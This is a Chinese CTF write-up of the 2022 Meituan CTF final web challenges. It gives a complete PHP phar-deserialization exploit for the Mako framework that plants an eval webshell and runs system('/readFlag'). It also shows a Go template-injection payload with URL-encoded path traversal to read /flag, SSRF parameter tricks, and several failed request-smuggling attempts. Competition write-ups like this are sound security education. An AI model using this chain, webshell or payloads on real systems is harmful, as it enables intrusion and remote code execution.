2022MTCTF-Final-WP-Web
今天美团决赛属于个人赛了, 早上拿了一血之后就坐大牢了,就再也没有解出第2题, 输麻了, 团队预计最后应该和几个队伍一起并列第三或第四吧…
Mako ImageMagick(7解)
Mako8.0.6
拿到源码之后看了一会儿目录结构感觉和TP的结构差不多, 应该就是TP二次开发而来的, 然后就是审了一下控制器的代码感觉也没有什么明显的漏洞, 并且网上也没找到该框架的相关漏洞, 然后接审代码注意到了修改图片的\app\controllers\ImagesController::editGet
函数
间接调用了file_exists
判断我们传入的filename
文件是否存在, 到这里就让我想起了反序列化, 联想到了TP的反序列化链子就直接搜索了一下__destruct
函数
也没有多少个就都看了一下, 几乎都是关闭资源接口的函数, 但是在\mako\session\Session::__destruct
确实发现了和TP几乎一样的调用机制,跟进commit
函数
后面的write函数有多个类实现了函数接口, 都进去看了一下主要是一些数据库相关的执行函数, 但是\mako\session\stores\File::write
确实与文件相关
跟到这里看到put函数感觉几乎没什么太大的问题了, 在跟进去看一下
到此执行了file_put_contents
函数, 而且一路下来的参数都是取自$this
这就意味着我们可以自由操控这些参数为我们想要的值, 而且中途的判断也是很好实现的, 后面就根据上面的链子构造拿到简单的序列化对象然后再写到pahr文件中:
<?php
namespace mako\file{
class FileSystem
{
}
}
namespace mako\session\stores{
interface StoreInterface
{
}
}
namespace mako\session\stores{
use mako\file\FileSystem;
class File implements StoreInterface
{
public function __construct(){
this->fileSystem=new FileSystem();this->sessionPath='/var/www/mako/public';//注意要写绝对路径不要用点,否则可能会把shell.php写到PHP解释器所在的目录下
}
}
}
namespace mako\session{
use mako\session\stores\File;
class Session{
public function __construct(){
this->autoCommit=true;this->flashData='<?php eval(_REQUEST[0]);phpinfo();?>';this->sessionId="shell.php";
this->destroyed=false;this->store=new File();
}
}
}
namespace {
use mako\session\Session;
session=new Session();ser=base64_encode(
serialize(
session
)
);
file_put_contents("poc.txt",ser);
var_dump(ser);
function makephar(ser,test=false){phar=new phar('test.phar');//后缀名必须为phar
phar->startBuffering();phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
phar->setMetadata(ser);//自定义的meta-data存入manifest
phar->addFromString("flag.txt","flag");//添加要压缩的文件phar->stopBuffering();
if(test){
var_dump(file_exists("./test.phar"));
}
}
makephar(session);
}
后面就是将生成的phar文件上传
然后在/edit
接口传入一个触发phar反序列化的filename
参数即可(之前没注意到版本, 应该先看一下版本的, 毕竟PHP8.x就不支持phar反序列化了, 虽然说一般都是PHP7的居多)
到这里写文件就完成了, 直接去访问/shell.php
即可, 0
参数会被eval
函数执行,然后执行system("/readFlag ");
拿到flag
/index.php/edit?filename=phar:///var/www/mako/uploads/test.phar
/shell.php?0=system("/readFlag ");
比赛结束web的题解情况:
safechat(2解,未出写思路)
源码
Nginx配置(这很关键)
server {
# https://www.digitalocean.com/community/tools/nginx?domains.0.https.https=false&domains.0.php.php=false&domains.0.reverseProxy.reverseProxy=true&domains.0.reverseProxy.path=%2Fapi%2Fpublic&domains.0.reverseProxy.proxyPass=http%3A%2F%2Flocalhost%3A18000&domains.0.routing.index=index.html&domains.0.routing.fallbackHtml=true&global.app.lang=zhCN
listen 80;
server_name _;
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
root /var/www/html/;
index index.html;
location ~ ^/api/public {
proxy_pass http://localhost:18000;
proxy_http_version 1.1;
proxy_cache_bypass http_upgrade;
# Proxy headers
proxy_set_header Upgradehttp_upgrade;
proxy_set_header Connection connection_upgrade;
proxy_set_header Hosthost;
proxy_set_header X-Real-IP remote_addr;
proxy_set_header Forwardedproxy_add_forwarded;
proxy_set_header X-Forwarded-For proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Protoscheme;
proxy_set_header X-Forwarded-Host host;
proxy_set_header X-Forwarded-Portserver_port;
# Proxy timeouts
proxy_connect_timeout 60s;
proxy_send_timeout 60s;
proxy_read_timeout 60s;
}
}
main.go
package main
import (
"fmt"
"math/rand"
"strconv"
"time"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func RandBytes(len int) []byte {
r := rand.New(rand.NewSource(time.Now().UnixNano()))
bytes := make([]byte, len)
for i := 0; i < len; i++ {
b := r.Intn(26) + 65
bytes[i] = byte(b)
}
return bytes
}
func main() {
go h.run()
router := gin.New()
router.LoadHTMLFiles("index.html")
store := cookie.NewStore(RandBytes(48))
router.Use(sessions.Sessions("GINSESSION", store))
router.GET("/:roomId", func(c *gin.Context) {
c.HTML(200, "index.html", nil)
})
router.GET("/api/public/ws/:roomId", func(c *gin.Context) {
roomId := c.Param("roomId")
session := sessions.Default(c)
isVip := false
if session.Get("role") == "vip" {
isVip = true
} else {
session.Set("role", false)
session.Save()
}
serveWs(c.Writer, c.Request, roomId, isVip)
})
router.POST("/api/public/healthcheck", func(c *gin.Context) {
host := "127.0.0.1"
port := 80
session := sessions.Default(c)
session.Set("role", false)
session.Save()
if c.PostForm("host") != "" {
host = c.PostForm("host")
}
if c.PostForm("port") != "" {
iport, err := strconv.Atoi(c.PostForm("port"))
if err == nil {
port = iport
}
}
url := fmt.Sprintf("http://%s:%d/", host, port)
fmt.Print(url)
response := httpRequest(url, "GET")
c.String(response.StatusCode, "got it")
})
router.POST("/api/internal/vip", func(c *gin.Context) {
session := sessions.Default(c)
// 通过session.Get读取session值
// session是键值对格式数据,因此需要通过key查询数据
if session.Get("role") != "vip" {
// 设置session数据
session.Set("role", "vip")
// 保存session数据
session.Save()
}
c.String(200, "you have got vip")
})
router.Run("0.0.0.0:18000")
}
model.go
package main
import (
b64 "encoding/base64"
"net/url"
"os"
"path"
"strings"
"fmt"
"io/ioutil"
)
type User struct {
IsVIP bool `json:"is_vip"`
}
func (u User) RenderAvatar(img_path string) string {
if !u.IsVIP {
return ""
}
if strings.Contains(img_path, "..") {
return ""
}
img_path, err := url.QueryUnescape(img_path)
file, err := os.Open(path.Join("/app/avatar/", img_path))
if err != nil {
panic(err)
}
defer file.Close()
out, err := ioutil.ReadAll(file)
enc := b64.StdEncoding.EncodeToString(out)
return "<img src=\"data://image/png;base64," + enc + "\"/>"
}
func (u User) RedMsg(msg string) string {
if !u.IsVIP {
return ""
}
return fmt.Sprintf("<p style=\"color:red;\">%s</p>", msg)
}
func (u User) BlueMsg(msg string) string {
return fmt.Sprintf("<p style=\"color:blue;\">%s</p>", msg)
}
req.go
package main
import (
"bytes"
"crypto/tls"
"fmt"
"io/ioutil"
"net/http"
)
func httpRequest(targetUrl string, method string) *http.Response {
request, error := http.NewRequest(method, targetUrl, bytes.NewBuffer([]byte(nil)))
customTransport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: customTransport}
response, error := client.Do(request)
defer response.Body.Close()
if error != nil {
panic(error)
}
body, _ := ioutil.ReadAll(response.Body)
fmt.Println("response Status:", response.Status)
fmt.Println("response Body:", string(body))
return response
}
client.go
package main
import (
"bytes"
"fmt"
"log"
"net/http"
"text/template"
"time"
"github.com/gorilla/websocket"
)
const (
// Time allowed to write a message to the peer.
writeWait = 10 * time.Second
// Time allowed to read the next pong message from the peer.
pongWait = 60 * time.Second
// Send pings to peer with this period. Must be less than pongWait.
pingPeriod = (pongWait * 9) / 10
// Maximum message size allowed from peer.
maxMessageSize = 512
)
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
// 解决跨域问题
CheckOrigin: func(r *http.Request) bool {
return true
},
}
type connection struct {
// The websocket connection.
ws *websocket.Conn
// Buffered channel of outbound messages.
send chan []byte
}
func (s subscription) readPump(isVip bool) {
c := s.conn
defer func() {
h.unregister <- s
c.ws.Close()
}()
c.ws.SetReadLimit(maxMessageSize)
c.ws.SetReadDeadline(time.Now().Add(pongWait))
c.ws.SetPongHandler(func(string) error { c.ws.SetReadDeadline(time.Now().Add(pongWait)); return nil })
for {
_, msg, err := c.ws.ReadMessage()
if err != nil {
if websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway) {
log.Printf("error: %v", err)
}
break
}
m := message{renderMsg(isVip, msg), s.room}
h.broadcast <- m
}
}
func (c *connection) write(mt int, payload []byte) error {
c.ws.SetWriteDeadline(time.Now().Add(writeWait))
return c.ws.WriteMessage(mt, payload)
}
func (s *subscription) writePump() {
c := s.conn
ticker := time.NewTicker(pingPeriod)
defer func() {
ticker.Stop()
c.ws.Close()
}()
for {
select {
case message, ok := <-c.send:
if !ok {
c.write(websocket.CloseMessage, []byte{})
return
}
if err := c.write(websocket.TextMessage, message); err != nil {
return
}
case <-ticker.C:
if err := c.write(websocket.PingMessage, []byte{}); err != nil {
return
}
}
}
}
func serveWs(w http.ResponseWriter, r *http.Request, roomId string, isVip bool) {
//fmt.Print(roomId)
ws, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Println(err.Error())
return
}
c := &connection{send: make(chan []byte, 256), ws: ws}
s := subscription{c, roomId}
h.register <- s
if isVip {
welcome := "<p style=\"color:red;\">welcome vip</p>"
m := message{[]byte(welcome), s.room}
h.broadcast <- m
}
go s.writePump()
go s.readPump(isVip)
}
func renderMsg(isVIP bool, msg []byte) []byte {
defer func() {
if err := recover(); err != nil {
fmt.Println(err)
}
}()
u := User{
IsVIP: isVIP,
}
templateText := fmt.Sprintf("{{.BlueMsg \"%s\"}}", msg)
t, _ := template.New("main").Parse(templateText)
var tpl bytes.Buffer
if err := t.Execute(&tpl, u); err != nil {
return []byte("")
}
return tpl.Bytes()
}
hub.go
package main
type message struct {
data []byte
room string
}
type subscription struct {
conn *connection
room string
}
// hub maintains the set of active connections and broadcasts messages to the
// connections.
type hub struct {
// Registered connections.
rooms map[string]map[*connection]bool
// Inbound messages from the connections.
broadcast chan message
// Register requests from the connections.
register chan subscription
// Unregister requests from connections.
unregister chan subscription
}
var h = hub{
broadcast: make(chan message),
register: make(chan subscription),
unregister: make(chan subscription),
rooms: make(map[string]map[*connection]bool),
}
func (h *hub) run() {
for {
select {
case s := <-h.register:
connections := h.rooms[s.room]
if connections == nil {
connections = make(map[*connection]bool)
h.rooms[s.room] = connections
}
h.rooms[s.room][s.conn] = true
case s := <-h.unregister:
connections := h.rooms[s.room]
if connections != nil {
if _, ok := connections[s.conn]; ok {
delete(connections, s.conn)
close(s.conn.send)
if len(connections) == 0 {
delete(h.rooms, s.room)
}
}
}
case m := <-h.broadcast:
connections := h.rooms[m.room]
for c := range connections {
select {
case c.send <- m.data:
default:
close(c.send)
delete(connections, c)
if len(connections) == 0 {
delete(h.rooms, m.room)
}
}
}
}
}
}
题解
先来看一下Nginx的配置文件
可以看到默认打开80端口并将目录/var/www/html/
映射出去, 但是如果请求的链接URI是以/api/public
位开头的话就会使用http://localhost:18000
作为代理进行请求处理(这点很重要,注意看golang服务中的路由)
路由分析
下面来看main.go文件, 可以看到里面指定了下面几个路由:
-
/:roomId GET请求
例如访问
/aaa
那么aaa
就会被解析成为roomId
变量 -
/api/public/ws/:roomId GET请求
这里就是执行下面几个步骤:
- 判断当前session会话是否为vip
- 对传输过来的数据进行模板渲染(是否为vip在进行模板渲染的时候会有差别)
-
/api/public/healthcheck POST请求
这个接口会获取我们传入的
host
和port
变量, 然后指向下面步骤- 将host和port的拼接结果
http://host:port/
作为url
- 调用
req.go
中自定义的httpRequest
函数, 使用GET请求的方式请求url
- 返回
url请求状态码+got it
(但是实际上只能收到got it)
- 将host和port的拼接结果
-
/api/internal/vip POST请求
判断当前session会话是否为vip, 如果不是vip则将其设为vip
漏洞点锁定
了解完了之后我是一脸懵的, 因为对golang并不了解, 然后看了一遍全程调用的函数, 完全没有发现哪里有漏洞点, 但是后面一个个文件仔细读代码可以在model.go
中发现这么个模板函数:
func (u User) RenderAvatar(img_path string) string {
if !u.IsVIP {
return ""
}
if strings.Contains(img_path, "..") {
return ""
}
img_path, err := url.QueryUnescape(img_path)
file, err := os.Open(path.Join("/app/avatar/", img_path))
if err != nil {
panic(err)
}
defer file.Close()
out, err := ioutil.ReadAll(file)
enc := b64.StdEncoding.EncodeToString(out)
return "<img src=\"data://image/png;base64," + enc + "\"/>"
}
可以看到是有文件读取的操作的, 而且函数的参数还被拼接到了读取文件的路径末尾
所以这里如果将传入的img_path
控制为../../../../../../../../../../flag
就可以对flag进行读取了
但是注意到上面strings.Contains(img_path, "..")
对img_path
参数做了..
是否存在的判断, 如果存在..
的话就直接return了, 但是其实这个不是问题
我们看到下一行
img_path, err := url.QueryUnescape(img_path)
在判断完了之后就直接对img_path
进行了一次url解码, 所以直接将文件路径url编码一下就好
触发漏洞点
知道终点在哪里了之后就是找漏洞的触发点了, 这个RenderAvatar
要怎么触发呢?
这就要回到/api/public/ws/:roomId
路由调用的模板渲染了
在路由函数的末尾调用了client.go
中的serveWs
函数, 在serveWs
函数中对websocket
发送过来的数据进行了接收, 并且调用了client.go
中的readPump
函数, 然后又在readPump
中调用了client.go
中的renderMsg
函数, 模板渲染就是在这里完成的, 并且渲染后的内容会通过原本传输数据的websocket
原路发送回去, 就是说这里的渲染结果我们是可以收到的, 下面看一下模板渲染的函数源代码
可以看到里面传入了两个参数, 一个是之前进行的当前session
是否为vip的判断isVIP
, 另一个则是从websocket
接收到的数据msg
所以就是说msg参数我们是可控的(题目有一个会话输入的窗口,输入的信息就是通过ws://
的方式被送到了这个msg
中)
msg
被添加到了渲染原始模板中, 而且没有任何过滤, 所以就是说我们可进行任意模板渲染(传入对象是User
类型的u
对象, isVIP
被赋值在u.IsVIP
中)
在这里需要注意到,之前的RenderAvatar
模板函数前面指定的模板对象类型就是User
, 所以在这完全合适, 可以通过模板调用触发函数, 至于原理的话可以参考我的了一篇学习笔记golang模板渲染可控的条件下可以做什么?
之后就是构造触发模板渲染读取flag的msg
参数payload:
"}}{{.RenderAvatar "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/flag
这个payload直接在题目的会话框输入即可触发模板渲染然后收到被读出的flag(不是
vip的身份验证(我就是这步没完成)
我们上面要实现通过RenderAvatar
渲染模板读出flag的话还需要完成vip的身份验证, 因为在RenderAvatar
函数中如果识别当前的session非vip的话就会直接返回空字符串而不会进行文件读取了
那么要怎么完成vip的身份验证呢?
这时候需要想到/api/internal/vip
这个用于将会话设为vip的路由, 但是这个路由我们是访问不了的, 因为我们只能访问到docker容器的80端口, 而golang是在18000端口运行的, 只有请求的资源是/api/public
的时候才会通过代理转到 http://localhost:18000
代理
满足直接访问的golang路由有下面两个:
- 用于模板渲染的 /api/public/ws/:roomId
- 用于发出SSRF请求的 /api/public/healthcheck
第一个就不用说了, 看到第二个, SSRF的url链接通过下面代码得到(port参数会被转int类型):
url := fmt.Sprintf("http://%s:%d/", host, port)
这里要实现绕过很容易, 就直接让host完成整个url的确定, 后面的数据通过#
或?
的拼接使其不影响需要访问的url,例如:
host=127.0.0.1:18000/index.html?a=
port=0
得到的url:: http://127.0.0.1:18000/index.html?a=0
一般来说这时候直接通过SSRF访问http://127.0.0.1:18000/api/internal/vip
拿到vip身份即可, 然而这是不行的,主要是以下问题:
-
服务器进行SSRF指定的是GET方式请求, 而
/api/internal/vip
路由指定的是POST
请求方式, 所以即使访问了也是不生效的 -
此外需要注意, 实现SSRF的函数如下, 是通过
NewRequest
直接生成一个新的请求, 然后指定请求方式以及url就直接访问了, 所以对于设置session对应的cookie的控制我们是做不到的, 就是说这里生成的vip的session每次都是新的, 返回的cookie更是长达48位不存在爆破的可能性func httpRequest(targetUrl string, method string) *http.Response { request, error := http.NewRequest(method, targetUrl, bytes.NewBuffer([]byte(nil))) customTransport := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client := &http.Client{Transport: customTransport} response, error := client.Do(request) defer response.Body.Close() if error != nil { panic(error) } body, _ := ioutil.ReadAll(response.Body) fmt.Println("response Status:", response.Status) fmt.Println("response Body:", string(body)) return response }
所以直接通过SSRF访问vip身份获取接口直接一把梭的方法是做不到的了, 我便是早早卡在了这里, 后面我又进行了一些尝试虽然失败了但也还是记录一下吧, 就当做个思路参考记录:
- 直接将换行设置在url中, 原本我想通过这个方式进行http走私, 但是这个本就不怎么抱有希望的方法最后确实失败了, 本地测试的时候发现url中是不能有换行的, 如果有换行就会直接报错根本不会发出http请求, 但是\t制表符还是可以有的(并没有什么用)
- 上面的方法失败之后我又试了xss的方式, 因为html中的script脚本请求
127.0.0.1
的链接的时候是没有跨域限制的, 所以如果script脚本解析的话我们是可以直接通过将发出请求的script代码写在html中完成请求的. 然而, 这个请求方式根本不会解析script代码, 只是单纯地精心url请求, 然后将返回结果输出, 所以这个尝试也失败了 - 之后我又试了http走私, 原理大概就是看看
Nginx服务
和golang服务
对请求解析是否存在差异, 如果存在差异的话就可以通过包中带包的方式进行http走私了(例如header中设置2个Content-Length
, 我们将另一个POST的请求数据包加在body的后面, 第一个Content-Length
为正常数据长度+走私数据包长度
,第二个Content-Length
为正常数据长度
, 如果Nginx解析第一个CL,而golang解析第二个的话就可以完成走私), 不过显然还是失败了, 我试了CL-CL,CL-TE,TE-CL,TE-TE
均以失败告终 - 重定向跳转, 这个是可以完成跳转的, 但是地我们并没有什么用, 因为重定向默认还是使用GET请求方式访问, 而且不能指定任何的参数数据, 原本的一样存在
- 最后我就找了一下
Nginx
的配置文件default.conf
里面对代理的详细配置, 企图从里面找到走私漏洞配置, 但是里面的参数配置是没有什么问题的(我没找到,但不敢说绝对,比较对这些配置文件也不是非常了解)所以这个思路还是失败了
此外还有一个是比赛结束后想的, 不过有点离谱了, 那就是有没有可能在80端口存在某个页面有php的经典走私服务代码???(虽说感觉应该不会,但真是例如在/index.php
的话那我真的裂开
最后只能说看看能不能从其他师傅那里拿到一些信息吧, 如果是golang的request的请求走私漏洞
或者Nginx中间件走私漏洞
或Nginx匹配代理错误的漏洞
我算是服了, 毕竟我找了一下网上关于golang的request的请求走私漏洞
以及`nginx/1.14.0 (Ubuntu)请求走私漏洞完全没见到有什么相关信息(不过我记得Apache对于正则路由匹配的相关漏洞好像有不少)
裂开的一天, 大起大落.
不以物喜,不以己悲
,收拾心情整理一下字节ByteCTF的WP继续内网渗透的学习了, 冲冲冲:runner::running::runner::running: